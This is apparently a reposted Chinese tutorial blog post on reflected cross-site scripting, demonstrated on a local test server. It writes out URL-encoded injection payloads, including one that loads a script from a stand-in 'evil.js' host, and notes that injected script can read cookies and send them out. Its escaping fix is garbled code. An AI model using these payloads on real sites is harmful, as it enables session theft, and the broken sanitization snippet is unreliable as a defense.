資訊專欄INFORMATION COLUMN
摘要：跨站腳本，稱為這個術語用來表示一類的安全問題，指攻擊者向目標站點注入標簽或者腳本。總結和注入一樣，屬于小白攻擊法，要說簡單也很簡單，要說難也很難拒絕服務攻擊如果一個站點無限彈窗，瀏覽器會卡死。
xss
跨站腳本，稱為xss這個術語用來表示一類的安全問題，指攻擊者向目標web站點注入html標簽或者腳本。
substring 返回介于兩者之間的字符串，如果省去最后一個參數，則直接以length為填充window.location.search 返回/后面內容包括問號
返回？后面的參數
window.location.search.substring(1)decodeURIComponent() 將url進行解碼，返回解碼后的utf-8格式
這是標題
訪問
http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地靜態服務器的搭建，使用host文件，強制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的綁定,因為js腳本不能本地運行，因為有跨域的限制
頁面輸出
hello word
這是一個灰常正經的頁面。
下面如果嘗試輸入
http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script
事實上現在的瀏覽器很智能了。。已經自動解析了。已經自動暫停解析了，最后加上%3e被瀏覽器攔截，自動的，去掉以后，由于容錯機制，自動生成
好吧，要不是這容錯機制，xss還沒法實驗呢。無奈，現在太智能了，小白的手法，已經不行嘍
導致能允許。好吧，去掉自動攔截，chrome直接禁止訪問了。╮(╯▽╰)╭
https://developer.mozilla.org...
使用的是預解析，自動平衡樹
此時script變身成為
document.write("hello " +
事實上，現在基本上都會屏蔽掉的，和sql注入一樣，都是非常小白的攻擊手法。╮(╯▽╰)╭
導致出現彈窗，xss完成
接著下面還有
使用src引入一個腳本。
http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E
這樣就完成了一次腳本的注入。會將其他站點的腳本，通過連接進行注入。
可以對該站點的內容做任何的操作，以及讀取cookie，以及將數據發送回站點
事實上瀏覽器插件就是這樣干的，在頁面中加入js腳本，通過更改頁面的js來達到對頁面修改的目的
更多內容 https://www.ibm.com/developer...
預防通過使用replace()全部替換為實體即可。
name = name.replace(//g, ">");總結
xss和sql注入一樣，屬于小白攻擊法，要說簡單也很簡單，要說難也很難
拒絕服務攻擊如果一個站點無限彈窗，瀏覽器會卡死。包括使用js挖礦什么的，都不值得一提了。
文章版權歸作者所有，未經允許請勿轉載,若此文章存在違規行為，您可以聯系管理員刪除。
轉載請注明本文地址：http://m.specialneedsforspecialkids.com/yun/96547.html
摘要：三攻擊分類反射型又稱為非持久性跨站點腳本攻擊，它是最常見的類型的。存儲型又稱為持久型跨站點腳本，它一般發生在攻擊向量一般指攻擊代碼存儲在網站數據庫，當一個頁面被用戶打開的時候執行。例如，當錯誤，就會執行事件利用跨站。 一、簡介 XSS（cross site script）是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點，進而添加一些代碼，嵌入到web頁面中去。使別...
閱讀 3743·2021-11-24 09:39
閱讀 3477·2019-08-30 15:56
閱讀 1378·2019-08-30 15:55
閱讀 1042·2019-08-30 15:53
閱讀 1929·2019-08-29 18:37
閱讀 3610·2019-08-29 18:32
閱讀 3137·2019-08-29 16:30
閱讀 2940·2019-08-29 15:14
